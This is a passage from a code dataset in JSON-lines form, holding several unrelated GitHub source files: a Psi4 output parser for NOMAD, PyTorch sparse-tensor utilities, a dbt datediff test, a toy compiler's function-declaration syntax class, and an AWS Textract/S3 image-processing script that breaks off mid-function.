dtype=np.dtype(np.float64))])),\n Quantity(\n 'energy',\n r'\\* (SCF total energy.+)',\n repeats=True, sub_parser=TextParser(quantities=[Quantity(\n 'key_value',\n rf'(.+) energy += +({re_f})',\n repeats=True, str_operation=lambda x: [v.strip() for v in x.rsplit(' ', 1)])])),\n Quantity(\n 'orbital_energies',\n r'Eigenvalues \\(Eh\\)([\\s\\S]+?)={5}', str_operation=str_to_eigenvalues)\n ]\n\n cc_quantities = [\n Quantity(\n 'parameters',\n r'Wfn Parameters:\\s+\\-+\\s+([\\s\\S]+?)\\n *\\n',\n sub_parser=TextParser(quantities=[Quantity(\n 'key_value',\n r'(.+ += +\\S+)',\n repeats=True, str_operation=lambda x: [v.strip() for v in x.split('=')])])),\n Quantity(\n 'energy',\n r'(Nuclear Rep[\\s\\S]+?)\\n *\\n',\n repeats=True, sub_parser=TextParser(quantities=[Quantity(\n 'key_value',\n rf'([\\w\\. \\-]+) energy += +({re_f})',\n repeats=True, str_operation=lambda x: [v.strip() for v in x.rsplit(' ', 1)])]))\n ]\n\n cc_energy_quantities = [\n Quantity(\n 'parameters',\n r'Input parameters:\\s+\\-+([\\s\\S]+?)',\n sub_parser=TextParser(quantities=[Quantity(\n 'key_value',\n r'(.+ += +\\S+)',\n repeats=True, str_operation=lambda x: [v.strip() for v in x.split('=')])])),\n Quantity(\n 'iterations',\n r'(Iter +Energy[\\s\\S]+?)\\n *\\n',\n sub_parser=TextParser(quantities=[Quantity(\n 'iteration',\n rf'\\d+ +({re_f}) +({re_f}) +({re_f})',\n repeats=True, dtype=np.dtype(np.float64))])),\n Quantity(\n 'energy',\n r'\\n *\\n +(SCF energy[\\s\\S]+?CCSD total energy.+)',\n repeats=True, sub_parser=TextParser(quantities=[Quantity(\n 'key_value',\n rf'([\\w\\. \\-]+) energy.* += +({re_f})',\n repeats=True, str_operation=lambda x: [v.strip() for v in x.rsplit(' ', 1)])]))\n ]\n\n cc_lambda_quantities = [\n Quantity(\n 'parameters',\n r'Input parameters:\\s+\\-+([\\s\\S]+?)\\n *\\n',\n sub_parser=TextParser(quantities=[Quantity(\n 'key_value',\n r'(.+ += +\\S+)',\n repeats=True, str_operation=lambda x: [v.strip() for v in x.split('=')])])),\n Quantity(\n 'iterations',\n r'(Iter +PseudoEnergy[\\s\\S]+?)\\n *\\n',\n sub_parser=TextParser(quantities=[Quantity(\n 'iteration',\n rf'\\d+ +({re_f}) +({re_f})',\n repeats=True, dtype=np.dtype(np.float64))])),\n Quantity(\n 'energy',\n r'(Nuclear Rep\\. energy[\\s\\S]+?Total CCSD energy.+)',\n repeats=True, sub_parser=TextParser(quantities=[Quantity(\n 'key_value',\n rf'([\\w\\. \\-]+) energy.* += +({re_f})',\n repeats=True, str_operation=lambda x: [v.strip() for v in x.rsplit(' ', 1)])]))\n ]\n\n cc_density_quantities = [\n Quantity(\n 'parameters',\n r'Input parameters:\\s+\\-+([\\s\\S]+?)\\n *\\n',\n sub_parser=TextParser(quantities=[Quantity(\n 'key_value',\n r'(.+ += +\\S+)',\n repeats=True, str_operation=lambda x: [v.strip() for v in x.split('=')])])),\n Quantity(\n 'energy',\n r'((?:Nuclear Rep\\. energy|Energies re-computed from|Virial Theorem Data)[\\s\\S]+?)\\n *\\n',\n repeats=True, sub_parser=TextParser(quantities=[Quantity(\n 'key_value',\n rf'([\\w\\. \\-]+) energy(?: +\\(.+\\))* += +({re_f})',\n repeats=True, str_operation=lambda x: [v.strip() for v in x.rsplit(' ', 1)])])),\n Quantity(\n 'properties',\n r'(Properties will be evaluated at[\\s\\S]+?)(?:==>|tstop|\\Z)',\n repeats=True, sub_parser=TextParser(quantities=properties_quantities)),\n ]\n\n optking_quantities = [\n Quantity(\n 'geometry',\n r'Geometry and Gradient-+\\s+([\\s\\S]+?)\\n *\\n',\n sub_parser=TextParser(quantities=[\n Quantity(\n 'atoms',\n rf'([A-Z][a-z]*) +({re_f}) +({re_f}) +({re_f})', repeats=True),\n Quantity(\n 'forces',\n rf'({re_f}) +({re_f}) +({re_f})',\n repeats=True, dtype=np.dtype(np.float64))])),\n Quantity(\n 'convergence_criteria',\n rf'Convergence Criteria +({re_f}) +\\* +({re_f}) +\\* +\\S+ +({re_f})',\n dtype=np.dtype(np.float64)),\n Quantity('energy', rf'~\\s+\\d+ +({re_f}) +({re_f})', dtype=np.float64)\n ]\n\n module_quantities = [\n Quantity(\n 'scf',\n rf'(SCF\\s+by[\\s\\S]+?(Computation Completed|tstop|\\Z))',\n repeats=True, sub_parser=TextParser(quantities=scf_quantities)),\n Quantity(\n 'scf_grad',\n r'(SCF GRAD\\s+[\\s\\S]+?(?:tstop|\\Z))',\n repeats=True, sub_parser=TextParser(quantities=scf_quantities)),\n Quantity(\n 'mp',\n r'(MP[\\d\\.]+\\s+Program[\\s\\S]+?(?:tstop|\\Z))',\n repeats=True, sub_parser=TextParser(quantities=mp_quantities)),\n Quantity(\n 'ci',\n r'(Configuration Interaction\\s+\\(a [\\s\\S]+?)(?:PASSED|tstart|\\Z)',\n repeats=True, sub_parser=TextParser(quantities=method_quantities)),\n Quantity(\n 'mcscf_detci',\n r'(Multi-Configurational Self-Consistent Field[\\s\\S]+?)(?:PASSED|tstart|\\Z)',\n repeats=True, sub_parser=TextParser(quantities=method_quantities)),\n Quantity(\n 'mcscf',\n r'(MCSCF: a self-consistent field program[\\s\\S]+?)(?:tstop|\\Z)',\n repeats=True, sub_parser=TextParser(quantities=mcscf_quantities)),\n Quantity(\n 'cc',\n r'(Wfn Parameters:\\s+\\-+[\\s\\S]+?)(?:tstop|\\Z)',\n repeats=True, sub_parser=TextParser(quantities=cc_quantities)),\n Quantity(\n 'cc_energy',\n r'(CCENERGY +\\*[\\s\\S]+?)(?:tstop|\\Z)',\n repeats=True, sub_parser=TextParser(quantities=cc_energy_quantities)),\n Quantity(\n 'cc_lambda',\n r'(CCLAMBDA +\\*[\\s\\S]+?)(?:tstop|\\Z)',\n repeats=True, sub_parser=TextParser(quantities=cc_lambda_quantities)),\n Quantity(\n 'cc_density',\n r'(CCDENSITY +\\*[\\s\\S]+?)(?:tstop|\\Z)',\n repeats=True, sub_parser=TextParser(quantities=cc_density_quantities)),\n Quantity(\n 'optking',\n r'OPTKING .+?: for geometry optimizations([\\s\\S]+?)OPTKING Finished Execution',\n sub_parser=TextParser(quantities=optking_quantities)),\n Quantity(\n 'options',\n r'Options:\\s+\\-+([\\s\\S]+?)\\n *\\n',\n str_operation=str_to_parameters),\n Quantity(\n 'salc',\n r'(Cartesian Displacement SALCs[\\s\\S]+?)(?:tstart|\\Z)',\n sub_parser=TextParser(quantities=[\n Quantity(\n 'total_gradient',\n r'Total gradient:\\s+Atom.+\\s+.+\\s+([\\s\\S]+?)\\n *\\n',\n str_operation=lambda x: [v.split()[1:] for v in x.strip().split('\\n')],\n dtype=np.dtype(np.float64)),\n Quantity(\n 'contributions_gradient',\n r'\\-(.+ (?:Energy 1st Derivatives|contribution to gradient)):'\n r'\\s+Atom.+\\s+.+([\\s\\S]+?)\\n *\\n',\n repeats=True, sub_parser=TextParser(quantities=[\n Quantity('name', r'(.+) (?:Energy|contribution)', flatten=False),\n Quantity(\n 'value',\n rf'\\d+ +({re_f}) +({re_f}) +({re_f})',\n repeats=True, dtype=np.dtype(np.float64))]))])),\n ]\n\n self._quantities = [\n Quantity(\n 'version',\n r'Psi4: An Open-Source Ab Initio Electronic Structure Package\\s*'\n r'Psi4 ([\\w\\.]+)', dtype=str),\n Quantity('start_time', r'Psi4 started on: \\w+, (.+)', flatten=False, dtype=str),\n Quantity('process_id', r'Process ID:\\s*(\\d+)', dtype=np.int32),\n Quantity('psidatadir', r'PSIDATADIR:\\s*(.+)', dtype=str),\n Quantity('memory', r'Memory:\\s*(\\S+) MiB', dtype=np.float64),\n Quantity('threads', r'Threads:\\s*(\\d+)', dtype=np.int32),\n Quantity('input_file', r'Input File <==\\s+\\-+\\s*([\\s\\S]+?)\\-{5}', flatten=False),\n Quantity(\n 'module',\n r'(\\*\\*\\* at [A-Z][a-z]{2} [\\s\\S]+?(?:\\*\\*\\* tstart|\\Z))',\n repeats=True, sub_parser=TextParser(quantities=module_quantities))\n ]\n\n\nclass Psi4Parser:\n def __init__(self):\n self.m_env = m_env\n self.out_parser = OutParser()\n self._xc_map = {\n 'HF': 'LDA_X',\n 'PW6B95': 'HYB_MGGA_XC_PW6B95',\n 'B3LYP': 'HYB_GGA_XC_B3LYP',\n 'B3LYP5': 'HYB_GGA_XC_B3LYP5',\n 'wB97X-D': 'HYB_GGA_XC_WB97X_D',\n }\n self._metainfo_map = {\n 'Nuclear Repulsion': 'nuclear_repulsion',\n 'Total': 'total',\n 'DFT Exchange-Correlation': 'xc',\n 'Nuclear Rep.': 'nuclear_repulsion',\n }\n\n def init_parser(self):\n self.out_parser.mainfile = self.filepath\n self._method = None\n\n def parse_system(self, source):\n if source.geometry is None:\n return\n\n system = self.archive.run[-1].m_create(System)\n atoms = source.geometry.get('atoms', [])\n # TODO determine lattice vectors\n system.atoms = Atoms(\n positions=np.array([a[1:4] for a in atoms]) * ureg.bohr,\n labels=[a[0] for a in atoms], periodic=[False, False, False])\n for key, val in source.geometry.items():\n try:\n setattr(system, 'x_psi4_%s' % key, val)\n except Exception:\n pass\n\n def _parse_basis(self, source: TextParser) -> list[BasisSet]:\n '''Produce a list of the gaussian basis sets.'''\n if source is None:\n return []\n atoms: list[BasisSetAtomCentered] = []\n for entry in source.get('basis_set', []):\n atom = BasisSetAtomCentered()\n atom.name = entry.get('Basis Set', '').strip('(').strip(')')\n atom.n_basis_functions = int(entry.get('Number of basis function', 0))\n atom.x_psi4_n_shells = int(entry.get('Number of shells', 0))\n atom.x_psi4_max_angular_momentum = int(entry.get('Max angular momentum', 0))\n atom.x_psi4_n_cartesian_functions = int(entry.get('Number of Cartesian functions', 0))\n atom.x_psi4_blend = entry.get('Blend')\n atom.x_psi4_spherical_harmonics = entry.get('Spherical Harmonics?') == 'false'\n atoms.append(atom)\n\n return [\n BasisSet(\n type='gaussians',\n scope=['full-electron'],\n atom_centered=atoms,\n ),\n ]\n\n def parse_method(self, source):\n method = self.archive.run[-1].m_create(Method)\n if self._method is not None:\n method.electronic = Electronic(method=self._method)\n if self._method[:2] in ['MP', 'CI', 'MC', 'CC']:\n method.core_method_ref = self.archive.run[-1].method[0]\n method.methods_ref = [self.archive.run[-1].method[0]]\n if source.parameters is not None:\n method.x_psi4_parameters = {\n key: val for key, val in source.parameters.get('key_value', [])}\n\n # Basis set\n basis_sets = self._parse_basis(source.basis)\n for basis in source.get('auxiliary_basis', []):\n basis_sets += self._parse_basis(basis)\n if len(basis_sets) > 0:\n method.electrons_representation = [\n BasisSetContainer(\n type='atom-centered orbitals',\n scope=['wavefunction'],\n basis_set=basis_sets,\n ),\n ]\n\n if source.jk_matrices is not None:\n method.x_psi4_jk_matrices_parameters = source.jk_matrices.get('parameters', (None, None))[1]\n\n if source.algorithm is not None:\n scf = method.m_create(ScfMethod)\n for key, val in source.algorithm.items():\n try:\n setattr(scf, key, val)\n except Exception:\n pass\n\n if source.dft_potential is not None:\n dft = method.m_create(DFT)\n xc_functional = dft.m_create(XCFunctional)\n # get xc functional from composite first\n if len(xc_functional.exchange) == 0 and len(xc_functional.correlation) == 0:\n name, parameters = source.dft_potential.get('composite', (None, None))\n if name is not None:\n name = self._xc_map.get(name)\n if name is not None:\n xc_functional.contributions.append(Functional(name=name, parameters=parameters))\n if len(xc_functional.contributions) == 0:\n # get contributions for exchange and correlation\n for xc_type in ['exact_exchange', 'exchange', 'correlation', 'hybrid']:\n if 'exchange' in xc_type:\n section = xc_functional.exchange\n elif xc_type == 'correlation':\n section = xc_functional.correlation\n else:\n section = xc_functional.hybrid\n for weight, name in source.dft_potential.get(xc_type, []):\n # it seems that other psi4 version print out xc functionals in libxc\n # notation prefixed with XC_\n # TODO complete mapping of XC functionals\n name = self._xc_map.get(name, name).lstrip('XC_')\n section.append(Functional(name=name, weight=weight))\n\n if source.dft_potential.molecular_quadrature is not None:\n dft.x_psi4_molecular_quadrature = source.dft_potential.molecular_quadrature[1]\n\n def parse_calculation(self, source):\n calc = self.archive.run[-1].m_create(Calculation)\n ref_calcs = []\n\n def parse_multipole(data, multipoles):\n if len(data) == 3:\n section = multipoles.m_create(MultipolesEntry, Multipoles.dipole)\n exponent = 1\n elif len(data) == 6:\n section = multipoles.m_create(MultipolesEntry, Multipoles.quadrupole)\n exponent = 2\n elif len(data) == 10:\n section = multipoles.m_create(MultipolesEntry, Multipoles.octupole)\n exponent = 3\n elif len(data) == 15:\n section = multipoles.m_create(MultipolesEntry, Multipoles.higher_order)\n section.kind = 'hexadecapole'\n exponent = 4\n else:\n section = multipoles.m_create(MultipolesEntry, Multipoles.higher_order)\n section.kind = '32-pole'\n exponent = 5\n value = data * ureg.elementary_charge * ureg.bohr ** exponent\n section.total = value.to('coulomb * m ** %d' % exponent).magnitude\n\n def parse_properties(source, calc):\n if source is None:\n return\n\n # multipoles\n multipole_kinds = ['electronic', 'nuclear', 'total']\n for n, multipole in enumerate(multipole_kinds):\n data = source.get('%s_dipole_moment' % multipole)\n if data is None:\n continue\n multipoles = calc.m_create(Multipoles) if len(calc.multipoles) <= n else calc.multipoles[n]\n multipoles.kind = multipole_kinds[n]\n parse_multipole(data, multipoles)\n\n multipole_moments = source.get('multipole_moments', {})\n for multipole in ['dipole', 'quadrupole', 'octupole', 'hexadecapole', 'npole']:\n data = multipole_moments.get(multipole)\n if data is None:\n continue\n data = np.transpose(data)\n for n, value in enumerate(data):\n multipoles = calc.m_create(Multipoles) if len(calc.multipoles) <= n else calc.multipoles[n]\n parse_multipole(value, multipoles)\n\n # TODO verify for non spin polarized\n # charges\n for method in ['mulliken', 'lowdin']:\n data = source.get('%s_charges' % method)\n if data is not None:\n charges = calc.m_create(Charges)\n charges.analysis_method = method\n if data.atom is not None:\n charges.value = [a[-1] for a in data.atom] * ureg.elementary_charge\n charges.spins = [a[-2] for a in data.atom]\n for n, atom in enumerate(data.atom):\n for spin in range(2):\n charges_spin = charges.m_create(ChargesValue, Charges.spin_projected)\n charges_spin.atom_index = n\n charges_spin.spin = spin\n charges_spin.value = atom[spin] * ureg.elementary_charge\n if data.total is not None:\n charges.total = data.total[-1]\n\n # scf iterations\n if source.iterations is not None:\n for iteration in source.iterations.get('iteration', []):\n scf = calc.m_create(ScfIteration)\n scf.energy = Energy(\n total=EnergyEntry(value=float(iteration[0]) * ureg.hartree),\n change=float(iteration[1]) * ureg.hartree)\n\n # energies\n # mp/ci energy, the last entry belongs to the method\n # create additional calc section for references e.g. mp3 have mp2 reference\n for n in range(len(source.get('energy', []))):\n if source.energy[n] is None:\n continue\n ref_calc = calc\n # for MP calc, the last energy block corresponds to calc\n n_ref = len(source.energy) - 1 if self._method[:2] == 'MP' else 0\n if n != n_ref:\n ref_calc = self.archive.run[-1].m_create(Calculation)\n ref_calcs.append(ref_calc)\n ref_calc.energy = Energy()\n for key, val in source.energy[n].get('key_value'):\n key = self._metainfo_map.get(key, key)\n if hasattr(ref_calc.energy, key):\n setattr(ref_calc.energy, key, EnergyEntry(value=val * ureg.hartree))\n else:\n ref_calc.energy.contributions.append(EnergyEntry(kind=key, value=val * ureg.hartree))\n # assign total energy to corresponding to method\n if 'total' in key.lower():\n ref_calc.energy.total = EnergyEntry(value=val * ureg.hartree)\n\n # forces\n if source.total_gradient is not None:\n calc.forces = Forces(total=ForcesEntry(\n value=source.total_gradient * ureg.hartree / ureg.bohr))\n\n # spins\n if source.s2_observed is not None:\n calc.x_psi4_s2_expected = source.s2_expected\n calc.x_psi4_s2_observed = source.s2_observed\n calc.spin_S2 = source.s2_observed\n calc.x_psi4_s_expected = source.s_expected\n calc.x_psi4_s_observed = source.s_observed\n\n # eigenvalues\n if source.orbital_energies is not None:\n eigenvalues = calc.m_create(BandEnergies)\n labels, energies, occupations = [], [], []\n n_spin = len(source.orbital_energies) // 2\n for n, orbital_energies in enumerate(source.orbital_energies):\n labels.extend(orbital_energies[0])\n energies.extend(orbital_energies[1])\n occupations.extend([2 / n_spin if n % 2 == 0 else 0] * len(orbital_energies[0]))\n eigenvalues.orbital_labels = labels\n eigenvalues.energies = np.reshape(energies, (n_spin, 1, len(energies) // n_spin)) * ureg.hartree\n eigenvalues.occupations = np.reshape(occupations, (n_spin, 1, len(occupations) // n_spin))\n\n # properties can be calculated using multiple density matrices e.g. for ci/mcscf\n # create additional calculation section\n for n, properties in enumerate(source.get('properties', [])):\n ref_calc = calc if n == 0 else self.archive.run[-1].m_create(Calculation)\n if n > 0:\n ref_calcs.append(ref_calc)\n parse_properties(properties, ref_calc)\n\n # misc\n if source.root_info is not None:\n root_info = calc.m_create(x_psi4_root_information)\n root_info.x_psi4_root_energy = source.root_info.energy\n\n # reference calculations\n if ref_calcs:\n calc.calculations_ref = ref_calcs\n for ref_calc in ref_calcs:\n ref_calc.starting_calculation_ref = calc\n\n if calc.m_mod_count == 1:\n self.archive.run[-1].m_remove_sub_section(Run.calculation, -1)\n\n return calc\n\n def parse(self, filepath, archive, logger):\n self.filepath = os.path.abspath(filepath)\n self.archive = archive\n self.maindir = os.path.dirname(self.filepath)\n self.logger = logger if logger is not None else logging\n\n self.init_parser()\n\n run = archive.m_create(Run)\n run.program = Program(name='Psi4', version=self.out_parser.get('version', ''))\n if self.out_parser.start_time is not None:\n start_time = datetime.strptime(self.out_parser.start_time, '%d %B %Y %H:%M%p')\n run.time_run = TimeRun(date_start=(start_time - datetime(1970, 1, 1)).total_seconds())\n\n for key in ['process_id', 'psidatadir', 'memory', 'threads', 'input_file']:\n val = self.out_parser.get(key)\n if val is not None:\n setattr(run, 'x_psi4_%s' % key, val)\n\n opt_calculations_ref = []\n module_names = [\n 'scf', 'scf_grad', 'mp', 'ci', 'mcscf', 'mcscf_detci', 'cc', 'cc_energy',\n 'cc_lambda', 'cc_density']\n for module in self.out_parser.get('module', []):\n calculations_ref = []\n for name in module_names:\n for submodule in module.get(name, []):\n self._method = submodule.get('method', name.split('_', maxsplit=1)[0].upper())\n self.parse_system(submodule)\n self.parse_method(submodule)\n calc = self.parse_calculation(submodule)\n if calc is not None:\n if self.archive.run[-1].system:\n calc.system_ref = self.archive.run[-1].system[-1]\n if self.archive.run[-1].method:\n calc.method_ref = self.archive.run[-1].method[-1]\n calculations_ref.append(calc)\n if module.options is not None:\n self.archive.run[-1].method[-1].x_psi4_options = module.options[1]\n\n if module.salc is not None:\n calc = self.archive.run[-1].calculation[-1]\n forces = calc.m_create(Forces)\n if module.salc.total_gradient is not None:\n forces.total = ForcesEntry(\n value=np.array(module.salc.total_gradient) * ureg.hartree / ureg.bohr)\n for contribution in module.salc.get('contributions_gradient', []):\n forces.contributions.append(ForcesEntry(\n kind=contribution.name, value=contribution.value * ureg.hartree / ureg.bohr))\n\n # each module should can be considered as a single_point workflow\n # TODO implement specific workflow for mp, ci, cc, mcscf\n self.archive.workflow2 = SinglePoint()\n\n if module.optking is not None:\n self.parse_system(module.optking)\n calc = self.archive.run[-1].m_create(Calculation)\n forces = module.optking.get('geometry', {}).get('forces')\n if forces is not None:\n calc.forces = Forces(total=ForcesEntry(value=forces * ureg.hartree / ureg.bohr))\n energy = module.optking.energy\n if energy is not None:\n calc.energy = Energy(\n total=EnergyEntry(value=energy[0] * ureg.hartree),\n change=energy[1] * ureg.hartree)\n calc.system_ref = self.archive.run[-1].system[-1]\n opt_calculations_ref.append(calc)\n if opt_calculations_ref:\n convergence = module.optking.convergence_criteria\n if convergence is not None:\n workflow = GeometryOptimization(method=GeometryOptimizationMethod())\n workflow.method.convergence_tolerance_energy_difference = convergence[0] * ureg.hartree\n workflow.method.convergence_tolerance_force_maximum = convergence[1] * ureg.hartree / ureg.bohr\n workflow.method.convergence_tolerance_displacement_maximum = convergence[2] * ureg.bohr\n self.archive.workflow2 = workflow\n","repo_name":"nomad-coe/electronic-parsers","sub_path":"electronicparsers/psi4/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":42203,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"82"} +{"seq_id":"38118149533","text":"import torch as t\nimport numpy as np\nimport scipy.sparse as sp\nimport torch\nimport torch.nn as nn\n\ndef showSparseTensor(tensor):\n index = t.nonzero(tensor)\n countArr = t.sum(tensor!=0, dim=1).cpu().numpy()\n start=0\n end=0\n tmp = tensor[index[:,0], index[:,1]].cpu().detach().numpy()\n for i in countArr:\n start = end\n end += i\n print(tmp[start: end])\n\ndef masked_softmax(vec, mask, dim=1, epsilon=1e-6):\n exps = t.exp(vec)\n masked_exps = exps * mask.float()\n masked_sums = masked_exps.sum(dim, keepdim=True) + epsilon\n ret = (masked_exps/masked_sums)\n return ret\n\ndef list2Str(s):\n ret = str(s[0])\n for i in range(1, len(s)):\n ret = ret + '_' + str(s[i])\n return ret\n\ndef sparse_mx_to_torch_sparse_tensor(sparse_mx):\n \"\"\"Convert a scipy sparse matrix to a torch sparse tensor.\"\"\"\n if type(sparse_mx) != sp.coo_matrix:\n sparse_mx = sparse_mx.tocoo().astype(np.float32)\n indices = torch.from_numpy(\n np.vstack((sparse_mx.row, sparse_mx.col)).astype(np.int64))\n values = torch.from_numpy(sparse_mx.data)\n shape = torch.Size(sparse_mx.shape)\n return torch.sparse.FloatTensor(indices, values, shape)\n\ndef normalize_adj(adj):\n \"\"\"Symmetrically normalize adjacency matrix.\"\"\"\n adj = sp.coo_matrix(adj)\n rowsum = np.array(adj.sum(1))\n d_inv_sqrt = np.power(rowsum, -0.5).flatten()\n d_inv_sqrt[np.isinf(d_inv_sqrt)] = 0.\n d_mat_inv_sqrt = sp.diags(d_inv_sqrt)\n return adj.dot(d_mat_inv_sqrt).transpose().dot(d_mat_inv_sqrt).tocoo()","repo_name":"SocialRecsys/SMIN","sub_path":"ToolScripts/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"82"} +{"seq_id":"72058110987","text":"import pytest\nfrom dbt.tests.adapter.utils.base_utils import BaseUtils\nfrom dbt.tests.adapter.utils.fixture_datediff import (\n seeds__data_datediff_csv,\n models__test_datediff_sql,\n models__test_datediff_yml,\n)\n\n\nclass BaseDateDiff(BaseUtils):\n @pytest.fixture(scope=\"class\")\n def seeds(self):\n return {\"data_datediff.csv\": seeds__data_datediff_csv}\n\n @pytest.fixture(scope=\"class\")\n def models(self):\n return {\n \"test_datediff.yml\": models__test_datediff_yml,\n \"test_datediff.sql\": self.interpolate_macro_namespace(\n models__test_datediff_sql, \"datediff\"\n ),\n }\n\n\nclass TestDateDiff(BaseDateDiff):\n pass\n","repo_name":"dbt-labs/dbt-core","sub_path":"tests/adapter/dbt/tests/adapter/utils/test_datediff.py","file_name":"test_datediff.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":7817,"dataset":"github-code","pt":"82"} +{"seq_id":"69852448268","text":"from syntax.DeclSyntax import *\n\nclass FuncDeclSyntax(DeclSyntax):\n def __init__(self, cunit, tok_start_idx, tok_count, name, params, exprs):\n super().__init__(cunit, tok_start_idx, tok_count)\n self.name = name\n self.params = params\n self.exprs = exprs\n self.mydeclspace = None\n self.fnT = None\n \n def registerNames(self, declspace):\n self.fnT = self.params.createFunctionT(declspace, self)\n self.mydeclspace = declspace.fork()\n self.params.registerNames(self.mydeclspace)\n for expr in self.exprs:\n expr.registerNames(self.mydeclspace)\n \n def resolveNames(self):\n self.params.resolveNames()\n for expr in self.exprs:\n expr.resolveNames()\n \n def tryResolveTypes(self):\n changed = any([expr.tryResolveType() for expr in self.exprs])\n \n lastExpr = self.exprs[len(self.exprs) - 1]\n suggestedT = lastExpr.resolvedType()\n if suggestedT:\n changed = self.fnT.suggestReturnType(suggestedT) or changed\n \n return changed\n \n def tryResolveType(self):\n return False\n \n def resolvedType(self):\n return self.fnT\n \n def assemble(self, builder):\n lastExprIdx = len(self.exprs) - 1\n for i, expr in enumerate(self.exprs):\n expr.assemble(builder)\n if i != lastExprIdx:\n builder.emit(('pop'))\n \n def stringifyExpr(self, expr):\n exprStr = str(expr)\n spaces = ' ' * max(0, 40-len(exprStr))\n return exprStr + spaces + ' // ' + str(expr.resolvedType() or '???')\n \n def __str__(self):\n sig = 'def ' + self.name + '(' + str(self.params) + ')'\n retT = self.resolvedType().getReturnType() or '???'\n sig += ': ' + str(retT)\n if len(self.exprs) == 1:\n return sig + ' = ' + str(self.exprs[0])\n return sig + '\\n ' + '\\n '.join(map(self.stringifyExpr, self.exprs)) + '\\nend'\n","repo_name":"leviathanbadger/cc","sub_path":"src/syntax/FuncDeclSyntax.py","file_name":"FuncDeclSyntax.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41537201325","text":"from procInitialData import genID, currentTS, b64LSExtract, flatLSDic\n\ndef transIt(it, dics, idmap):\n _id = it['_id']\n _cid = _id[:7]\n _cat = 'DC2'\n _name = b64LSExtract(it['name'])\n if it['type'] == 'F':\n _subcat = '0003' # folder\n else:\n _subcat = '0002' # multi-mime doc\n access_level = ['M7117','M7119','M7118'].index(it.get('pk','M7117'))\n _rels = {}\n for k, v in it['iddict'].items():\n if k == 'folders':\n _rels[\"1009\"] = v # 1009: RL_CONTAINING\n elif k == 'facets':\n _rels[\"1009\"] = v # 1009: RL_CONTAINING\n elif k == 'owner':\n _rels[\"0009\"] = v # 0009: RL_CONTAINED_BY\n elif k == 'docs':\n _rels[\"1009\"] = v # 1009: RL_CONTAINING\n elif k == 'ownerpa':\n _rels[\"0008\"] = v # 0008 RL_OWNED_BY\n dic = {\n '_id': genID(_cid, _cat, _subcat),\n 'cat': _cat,\n 'subcat': _subcat,\n 'TS': currentTS,\n 'card': {\n 'Name': _name,\n 'Descr': {\n 'LSS': ['NAME'],\n 'NAME': flatLSDic(it['name']),\n 'ACCESSLEVEL': access_level,\n 'TITLE': flatLSDic(it['title'])\n }\n },\n 'rels': _rels\n }\n dics.append(dic)\n idmap[it['_id']] = dic['_id']\n","repo_name":"teichbauer/sng202007","sub_path":"data/trans_it.py","file_name":"trans_it.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31311384215","text":"import boto3\nfrom boto3 import client\nfrom config import stopWords, images_url_path\nimport os\nimport zulip\n\n\ndef Images_in_Bucket(Bucket_Name):\n \"\"\"Gets a list of all image names in an S3 bucket.\n\n Args:\n Bucket_Name (str): The name of the S3 bucket\n\n Returns:\n list: A list containing all the image names in the given S3 bucket\n \"\"\"\n s3 = client(\"s3\")\n Image_List = []\n if \"Contents\" in s3.list_objects(Bucket=Bucket_Name):\n Image_List.extend(\n key[\"Key\"] for key in s3.list_objects(Bucket=Bucket_Name)[\"Contents\"]\n )\n\n return Image_List\n\n\ndef Empty_Bucket(Bucket_Name):\n \"\"\"Deletes all objects in an S3 bucket.\n\n This function takes the name of an S3 bucket, connects to the S3 service\n using boto3, gets a bucket resource object for the specified bucket,\n and calls delete() on all objects in the bucket to empty it.\n\n Args:\n Bucket_Name (str): The name of the S3 bucket to empty\n\n Returns:\n None\n\n Raises:\n Any exceptions raised by boto3 calls\n\n \"\"\"\n s3 = boto3.resource(\"s3\")\n bucket = s3.Bucket(Bucket_Name)\n bucket.objects.all().delete()\n\n\ndef Delete_Image(Bucket_Name, ImageName):\n \"\"\"Deletes an image from an S3 bucket.\n\n Args:\n Bucket_Name (str): The name of the S3 bucket.\n ImageName (str): The key name of the image file to delete.\n\n Returns:\n None\n\n Raises:\n Any exceptions raised by boto3 delete_object call.\n\n \"\"\"\n s3 = client(\"s3\")\n s3.delete_object(Bucket=Bucket_Name, Key=ImageName)\n\n\ndef insert_dynamodb(User, ImageName):\n \"\"\"Inserts a new item into a DynamoDB table.\n\n Args:\n User (str): The user name of the person who uploaded the image.\n ImageName (str): The name of the image that was uploaded to S3.\n\n Returns:\n None\n\n Raises:\n Any exceptions raised by boto3 put_item call.\n\n \"\"\"\n region = os.environ[\"REGION\"]\n Table_Users = os.environ[\"USERS_TABLE\"]\n dynamodb = boto3.resource(\"dynamodb\", region_name=region)\n table = dynamodb.Table(Table_Users)\n table.put_item(\n Item={\"UserName\": User, \"URLImage\": f\"{images_url_path}/{ImageName}\"}\n )\n\n\ndef Extract_Users(s3BucketName, ImageName): # sourcery no-metrics\n \"\"\"Extracts user information from an image in an S3 bucket.\n\n Args:\n s3BucketName (str): The name of the S3 bucket containing the image.\n ImageName (str): The name of the image file in the S3 bucket.\n\n Returns:\n list: A list of extracted user information dicts.\n \"\"\"\n region = os.environ[\"REGION\"]\n textract = boto3.client(\"textract\", region_name=region)\n reponse = textract.detect_document_text(\n Document={\"S3Object\": {\"Bucket\": s3BucketName, \"Name\": ImageName}}\n )\n # print(reponse)\n columns = []\n lines = []\n errors_tab = []\n for item in reponse[\"Blocks\"]:\n if item[\"BlockType\"] == \"LINE\":\n column_found = False\n for index, column in enumerate(columns):\n bbox_left = item[\"Geometry\"][\"BoundingBox\"][\"Left\"]\n bbox_right = (\n item[\"Geometry\"][\"BoundingBox\"][\"Left\"]\n + item[\"Geometry\"][\"BoundingBox\"][\"Width\"]\n )\n bbox_centre = (\n item[\"Geometry\"][\"BoundingBox\"][\"Left\"]\n + item[\"Geometry\"][\"BoundingBox\"][\"Width\"] / 2\n )\n column_centre = column[\"left\"] + column[\"right\"] / 2\n\n if (bbox_centre > column[\"left\"] and bbox_centre < column[\"right\"]) or (\n column_centre > bbox_left and column_centre < bbox_right\n ):\n # Bbox appears inside the 